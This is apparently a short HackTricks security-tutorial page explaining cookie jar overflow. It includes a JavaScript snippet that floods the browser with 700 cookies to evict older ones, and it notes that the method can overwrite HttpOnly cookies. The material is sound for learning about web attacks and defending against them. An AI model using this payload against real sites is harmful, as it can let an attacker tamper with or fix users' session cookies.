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The browsers have a limit on the number of cookies that they can store for a page. Then, if for some cause you need to make a cookie disappear, you can overflow the cookie jar as the oldest ones will be deleted before:
// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`;
}
// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}
Notice, that third party cookies pointing to a different domain won't be overwritten.
{% hint style="danger" %} This attack can also be used to overwrite HttpOnly cookies as you can delete it and then reset it with the value you want.
Check this in this post with a lab. {% endhint %}
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Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
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Share your hacking tricks submitting PRs to the hacktricks github repo.